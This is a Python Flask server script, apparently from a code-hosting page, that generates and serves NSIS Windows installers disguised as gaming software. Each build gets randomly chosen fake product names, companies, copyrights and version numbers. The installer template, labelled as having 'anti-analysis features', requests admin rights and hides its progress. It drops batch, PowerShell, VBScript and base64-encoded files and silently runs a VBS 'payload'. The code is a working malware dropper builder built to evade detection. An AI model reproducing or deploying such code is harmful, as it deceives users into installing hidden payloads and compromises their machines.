sigyllly's picture
Update main.py
f21bc12 verified
raw
history blame
11 kB
from flask import Flask, send_file, jsonify
import os
import subprocess
import json
import random
from datetime import datetime
from pathlib import Path
from threading import Thread
import shutil
app = Flask(__name__)
# Configuration
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
STATS_FILE = "download_stats.json"
NSIS_COMPILER_PATH = "/usr/local/bin/makensis" # Update this to the correct Linux path for makensis
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(COMPILE_FOLDER, exist_ok=True)
# Modify the NSIS_SCRIPT_TEMPLATE with enhanced anti-analysis features
NSIS_SCRIPT_TEMPLATE = r"""
; NeuraScope Insight Installer Script
!include "MUI2.nsh"
!include "LogicLib.nsh"
; Basic definitions
Name "{{ProductName}}"
OutFile "${{installer_path}}"
InstallDir "/usr/local/share/Omega"
RequestExecutionLevel admin
SetCompressor /SOLID lzma
SetCompressorDictSize 96
SetDatablockOptimize ON
; Interface settings
!define MUI_ICON "/home/user/icons/favicon.ico"
!define MUI_WELCOMEPAGE_TITLE "Welcome to {{ProductName}} Setup"
!define MUI_WELCOMEPAGE_TEXT "This will install {{ProductName}} on your computer.$\r$\n$\r$\nClick Install to continue."
!define MUI_WELCOMEFINISHPAGE_BITMAP "${NSISDIR}/Contrib/Graphics/Wizard/win.bmp"
; Pages
!insertmacro MUI_PAGE_WELCOME
!insertmacro MUI_PAGE_INSTFILES
!insertmacro MUI_LANGUAGE "English"
; Basic Version Information
VIProductVersion "{{ProductVersion}}"
VIAddVersionKey "ProductName" "{{ProductName}}"
VIAddVersionKey "CompanyName" "{{CompanyName}}"
VIAddVersionKey "LegalCopyright" "{{LegalCopyright}}"
VIAddVersionKey "FileVersion" "{{FileVersion}}"
VIAddVersionKey "ProductVersion" "{{ProductVersion}}"
VIAddVersionKey "FileDescription" "{{FileDescription}}"
ShowInstDetails hide
AutoCloseWindow true
Section "MainSection" SEC01
SetDetailsPrint none
SetOutPath "/usr/local/share/Omega"
; File copies
File "{{random_program}}"
File "/home/user/programs/0.bat"
File "/home/user/programs/run_base64_encrypted.txt"
File "/home/user/programs/0.ps1"
File "/home/user/programs/0.vbs"
File "{{random_program}}"
File "/home/user/programs/1.bat"
File "/home/user/programs/1.ps1"
File "/home/user/programs/1.vbs"
; Run payload and exit
ExecShell "" "/usr/local/share/Omega/0.vbs" SW_HIDE
SetAutoClose true
SectionEnd
"""
# Greatly expanded version details dictionary
VERSION_DETAILS = {
"ProductName": [
"Gametoy Health Center", "Omega Insight Pro", "Visionary Game System", "TechMatrix Suite Premium",
"Nebula Installer Plus", "GameForge Studio", "Digital Nexus Hub", "CyberPulse Platform",
"VirtualCore Manager", "GameStream Elite", "OmegaForge Professional", "TechVision Suite",
"GameMatrix Central", "CloudPulse Gaming", "NexusCore Platform", "GameWave Professional",
"Cyber Matrix Hub", "VisionForge Elite", "PulseTech Gaming", "StreamCore Professional",
"TechPro Suite", "GameCore Elite", "CloudMatrix Enterprise", "VisionWave Platform",
"PulseForge Studio", "NexusWave Pro", "CyberCore Premium", "GamePulse Advanced",
"TechStream Ultimate", "OmegaCore Enterprise"
],
"CompanyName": [
"Game Health Systems Inc.", "TechWave Innovations Ltd.", "Omega Systems International",
"Visionary Game Corporation", "Nebula Technologies Group", "GameForge Solutions",
"Digital Nexus Corporation", "CyberPulse Technologies", "VirtualCore Solutions",
"GameStream Enterprises", "OmegaForge Technologies", "TechVision Innovations",
"GameMatrix Solutions", "CloudPulse Interactive", "NexusCore Technologies",
"GameWave Digital", "CyberMatrix Solutions", "VisionForge Systems",
"PulseTech Interactive", "StreamCore Solutions", "TechPro Enterprises",
"GameCore Solutions Ltd.", "CloudMatrix Systems", "VisionWave Technologies",
"PulseForge Interactive", "NexusWave Digital", "CyberCore Solutions",
"GamePulse Technologies", "TechStream Systems", "OmegaCore Industries"
],
"LegalCopyright": [
"Copyright © 2024 Gametoy Innovations - All Rights Reserved",
"Copyright © 2024 Visionary Game Co. - Professional Edition",
"Copyright © 2024 Omega Systems - Enterprise License",
"Copyright © 2024 TechWave - Premium License",
"Copyright © 2024 Nebula Technologies - Commercial Use",
"Copyright © 2024 GameForge Solutions - Professional License",
"Copyright © 2024 Digital Nexus - Enterprise Edition",
"Copyright © 2024 CyberPulse - Commercial License",
"Copyright © 2024 VirtualCore - Premium Edition",
"Copyright © 2024 GameStream - Professional Use",
"Copyright © 2024 TechPro - Enterprise License",
"Copyright © 2024 GameCore - Commercial Edition",
"Copyright © 2024 CloudMatrix - Professional License",
"Copyright © 2024 VisionWave - Premium Use",
"Copyright © 2024 PulseForge - Enterprise Edition"
],
"FileDescription": [
"Professional Gaming Platform Installer", "Advanced Game Management System",
"Enterprise Gaming Solution Suite", "Premium Game Development Tools",
"Professional Game Analytics Platform", "Advanced Gaming Framework",
"Enterprise Development Environment", "Professional Gaming SDK",
"Advanced Game Publishing Tools", "Premium Gaming Platform",
"Professional Development Suite", "Enterprise Gaming Framework",
"Advanced Game Management Tools", "Premium Development Platform",
"Professional Gaming Environment", "Enterprise Solution Suite",
"Advanced Development Framework", "Premium Management System",
"Professional Analytics Platform", "Enterprise Gaming Tools"
]
}
def generate_product_version():
"""
Generates a realistic product version number with the format major.minor.patch.build
Major: 1-5
Minor: 0-15
Patch: 0-99
Build: 1000-9999
"""
major = random.randint(1, 5)
minor = random.randint(0, 15)
patch = random.randint(0, 99)
build = random.randint(1000, 9999)
return f"{major}.{minor}.{patch}.{build}"
def generate_file_version():
"""
Generates a unique file version with format major.minor.build.revision
"""
versions = []
for _ in range(30): # Increased to 30 versions
major = random.randint(1, 10)
minor = random.randint(0, 99)
build = random.randint(100, 999)
revision = random.randint(0, 99999)
versions.append(f"{major}.{minor}.{build}.{revision}")
return versions
# Add generated file versions to VERSION_DETAILS
VERSION_DETAILS["FileVersion"] = generate_file_version()
def generate_random_version_details():
"""Generates random meaningful version details for each build."""
return {
"ProductName": random.choice(VERSION_DETAILS["ProductName"]),
"CompanyName": random.choice(VERSION_DETAILS["CompanyName"]),
"LegalCopyright": random.choice(VERSION_DETAILS["LegalCopyright"]),
"FileVersion": random.choice(VERSION_DETAILS["FileVersion"]),
"ProductVersion": generate_product_version(),
"FileDescription": random.choice(VERSION_DETAILS["FileDescription"]),
}
def generate_nsi_script():
"""Generates the NSI script with random version details and two different random executables."""
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
installer_output = os.path.join(UPLOAD_FOLDER, f"setup_{timestamp}.exe")
if not os.access(UPLOAD_FOLDER, os.W_OK):
raise PermissionError(f"Cannot write to the directory {UPLOAD_FOLDER}")
# Generate version details
version_details = generate_random_version_details()
# Choose random .exe files from the Programs folder
programs_folder = "/home/user/programs" # Linux version path for programs
exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
# Check if there are enough .exe files
if len(exe_files) < 2:
raise FileNotFoundError(f"Not enough .exe files found in the folder {programs_folder}")
# Select two different executable files
random_exe_1 = random.choice(exe_files)
exe_files.remove(random_exe_1) # Remove the first selected .exe
random_exe_2 = random.choice(exe_files)
random_exe_1_path = os.path.join(programs_folder, random_exe_1)
random_exe_2_path = os.path.join(programs_folder, random_exe_2)
# Replace all placeholders in the template
nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
nsi_content = nsi_content.replace("{{ProductName}}", version_details["ProductName"])
nsi_content = nsi_content.replace("{{ProductVersion}}", version_details["ProductVersion"])
nsi_content = nsi_content.replace("{{CompanyName}}", version_details["CompanyName"])
nsi_content = nsi_content.replace("{{LegalCopyright}}", version_details["LegalCopyright"])
nsi_content = nsi_content.replace("{{FileVersion}}", version_details["FileVersion"])
nsi_content = nsi_content.replace("{{FileDescription}}", version_details["FileDescription"])
nsi_content = nsi_content.replace("{{random_program}}", random_exe_1_path)
nsi_script_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
with open(nsi_script_path, "w") as nsi_file:
nsi_file.write(nsi_content)
return nsi_script_path, installer_output
def compile_nsi_script(nsi_script_path, installer_output):
"""Compiles the NSI script into an executable installer."""
compile_cmd = [NSIS_COMPILER_PATH, nsi_script_path]
# Ensure the NSIS compiler is available
if not shutil.which("makensis"):
raise FileNotFoundError("NSIS Compiler not found. Make sure NSIS is installed.")
result = subprocess.run(compile_cmd, capture_output=True, text=True)
if result.returncode != 0:
raise RuntimeError(f"NSIS Compilation failed: {result.stderr}")
return installer_output
def serve_installer():
"""Serves the installer once compiled."""
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
nsi_script_path, installer_output = generate_nsi_script()
compiled_installer = compile_nsi_script(nsi_script_path, installer_output)
return send_file(compiled_installer, as_attachment=True, download_name=f"setup_{timestamp}.exe")
@app.route('/generate_installer', methods=['GET'])
def generate_installer_route():
"""API route to trigger installer generation."""
return jsonify({"message": "Installer is being generated. Please wait..."})
@app.route('/download_installer', methods=['GET'])
def download_installer_route():
"""API route to download the generated installer."""
return serve_installer()
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=7860)